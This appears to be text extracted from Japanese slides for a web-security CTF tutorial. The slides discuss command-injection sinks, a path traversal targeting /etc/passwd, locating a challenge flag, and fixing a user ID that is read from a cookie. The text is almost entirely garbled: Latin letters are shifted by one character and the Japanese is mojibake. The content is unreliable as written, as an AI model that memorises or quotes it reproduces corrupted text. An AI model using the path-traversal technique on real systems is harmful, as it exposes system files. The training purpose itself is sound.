     3VOUJNFHFU3VOUJNF FYFD Ϣʔβʔͷೖྗ DIJME@QSPDFTTTQBXO Ϣʔβʔͷೖྗ DIJME@QSPDFTTFYFD Ϣʔβʔͷೖྗ 1)1 +BWB /PEFKT FYFD Ϣʔβʔͷೖྗ TZTUFN Ϣʔβʔͷೖྗ 3VCZ
  34. FUDQBTTXE  1BUI5SBWFSTBMରࡦ pMFOBNFʹ্ͭͷ֊૚Λࣔ͢ ͕ར༻Ͱ͖Δ͜ͱ͕໰୊͔ͩΒɾɾɾ pMFOBNF͔Β ΛऔΓআ͘ॲཧΛͯ͠ରࡦ FUDQBTTXE BQQVQMPBETFUDQBTTXE BQQVQMPBET

    GJMFOBNF ࡉ޻Λͯ͠΋ BQQVQMPBET഑Լ͕ಡΈग़͠ର৅ͷύεʹͳΔ ˠ ೚ҙͷύεͷϑΝΠϧΛಡΈग़͢͜ͱ͕Ͱ͖ͳ͘ͳͬͨ ˞͜ͷमਖ਼ํ๏͸ਖ਼͋͘͠Γ·ͤΜʂ
  35.  $IFDLνϡʔτϦΞϧ໰୊ʢ߈ܸฤʣɿιʔείʔυͷऔಘ ֤νʔϜʹ഑෍͞ΕͨϦϙδτϦΛΫϩʔϯͯ͠ɺιʔείʔυΛऔಘͰ͖Δ͜ͱΛ֬ೝ HJUDMPOF CPPUDBNQUFBN9HJU DECPPUDBNQUFBNY MT ʜGPSUVOFʜ DEGPSUVOF MT

    docker docker-entrypoint.sh src docker-compose.yml resources 9͸ࣗ෼ͷνʔϜ൪߸ʹஔ͖׵͑Δ ໰୊ͱಉҰ໊ͷσΟϨΫτϦʹͦͷ໰୊ʹؔ࿈ͨ͠ ϑΝΠϧ͕֨ೲ͞Ε͍ͯΔ ࠓճͷ໰୊ͷ৔߹͸ʮGPSUVOFʯ ✔ MTͰ͜ͷΑ͏ͳϑΝΠϧϦετ͕औಘͰ͖Ε͹0,
  36.  νϡʔτϦΞϧ໰୊ʢ߈ܸฤʣɿ'MBHͷ৔ॴͷ֬ೝ ·ͣ͸ιʔείʔυத͔Βϑϥά͕දࣔ͞ΕΔ৔ॴΛ୳͢ %PDLFS$PNQPTFͷઃఆϑΝΠϧʹ '-"(؀ڥม਺͕ఆٛ͞Ε͍ͯΔ͜ͱΛ֬ೝ GPSUVOFEPDLFSDPNQPTFZNM %#ͷॳظσʔλΛ࡞੒͢ΔॲཧͰ VTFSTςʔϒϧʹ͓͍ͯBENJOϢʔβʔΛ࡞੒͠ qBHΧϥϜʹ'-"(؀ڥม਺Λొ࿥͍ͯ͠Δ͜ͱΛ֬ೝ GPSUVOFTSDEBUBCBTFTFFEFST6TFS4FFEFSQIQ

    10*/5جຊతʹͲͷ໰୊΋؀ڥม਺ͰϑϥάΛఆ͍ٛͯ͠ΔͷͰ Կ͔Β࢝ΊͯΑ͍͔෼͔Βͳ͍࣌͸ϑϥά͔Βٯࢉ͢Δͷ͕͓͢͢Ίɻ VTFSTςʔϒϧʹBENJOϢʔβʔΛ࡞੒ qBHΧϥϜʹ'-"(؀ڥม਺ͷ಺༰Λొ࿥ '-"(؀ڥม਺͕ఆٛ ͜Ε͸μϛʔͷϑϥάɻ࣮ࡍͷαʔόʔʹ ͸ຊ෺ͷϑϥά͕ೖ͍ͬͯΔ %PDLFS$PNQPTFͷઃఆϑΝΠϧ %#ͷॳظσʔλΛ࡞੒͢Δؔ਺
  37.  νϡʔτϦΞϧ໰୊ʢ߈ܸฤʣɿ੬ऑੑͷൃݟ ϑϥά͕දࣔ͞ΕΔՕॴ͕ॲཧ͞ΕΔաఔʹ੬ऑੑ͕ͳ͍͔ߟ͑Δ 10*/5ո͍͠ը໘΍"1*͕͋Δ৔߹ɺ੬ऑੑͷಛఆͷͨΊ ͦͷΤϯυϙΠϯτͷ࣮૷Λਂ۷Γ͢Δͷ͕͓͢͢Ί ϚΠϖʔδը໘ͷΤϯυϙΠϯτͰ͋Δʮʯͷ࣮૷͕ 6TFS$POUSPMMFSͷJOEFYؔ਺ʹ͋Δ͜ͱΛ֬ೝ GPSUVOFTSDSPVUFTXFCQIQ *OEFYؔ਺ʹ͓͍ͯɺϢʔβʔΛݕࡧ͢Δࡍʹ 6TFSͷHFU@MPHJO@VTFS@JE

    ؔ਺Λ࢖༻͍ͯ͠Δ͜ͱΛ֬ೝ ΤϯυϙΠϯτͷϧʔςΟϯάઃఆϑΝΠϧ ΤϯυϙΠϯτͷύεͱݺͼग़ؔ͢਺ͷ৔ॴ͕ఆٛ 6TFS$POUSPMMFSΫϥεͷJOEFYؔ਺ GPSUVOFTSDBQQ)UUQ$POUSPMMFST6TFS$POUSPMMFSQIQ 6TFSHFU@MPHJO@VTFS@JE ΑΓϢʔβʔ*%Λऔಘ Ϣʔβʔ*%Λ΋ͱʹͯ͠ϢʔβʔΛݕࡧ
  38.  $IFDLνϡʔτϦΞϧ໰୊ʢ๷ޚฤʣίʔυͷमਖ਼ VTFS@JEΛϩάΠϯ࣌ʹηογϣϯʹอଘ͠ɺࢀর࣌͸ηογϣϯ͔Βऔಘ͢ΔΑ͏ʹमਖ਼͢Δɻ ۩ମతʹ͸ɺ6TFSΫϥεͷҎԼ఺Λमਖ਼ɻ GPSUVOFTSDBQQ)UUQ$POUSPMMFST6TFS$POUSPMMFSQIQ Ϣʔβʔ*%औಘॲཧHFU@MPHJO@VTFS@JE  ϩάΠϯॲཧMPHJO  GPSUVOFTSDBQQ)UUQ$POUSPMMFST6TFS$POUSPMMFSQIQ

    ηογϣϯ͔ΒVTFS@JEΛऔಘ͢ΔΑ͏ʹมߋ ηογϣϯʹVTFS@JEΛอଘ͢ΔΑ͏ʹมߋ Ϣʔβʔ*%औಘ࣌ʹ$PPLJF͔ΒVTFS@JEΛಡΈऔ͍ͬͯΔ GPSUVOFTSDBQQ)UUQ$POUSPMMFST6TFS$POUSPMMFSQIQ 6TFS$POUSPMMFSͰͷ6TFSMPHJO ͷݺͼग़͠ ฦΓ஋͕$PPLJFʹอଘ͞Ε͍ͯΔ VTFS@JEΛ$PPLJFʹอଘ͍ͯ͠Δ ✔ ্هՕॴͷίʔυ͕मਖ਼Ͱ͖ͨΒ0,
  39.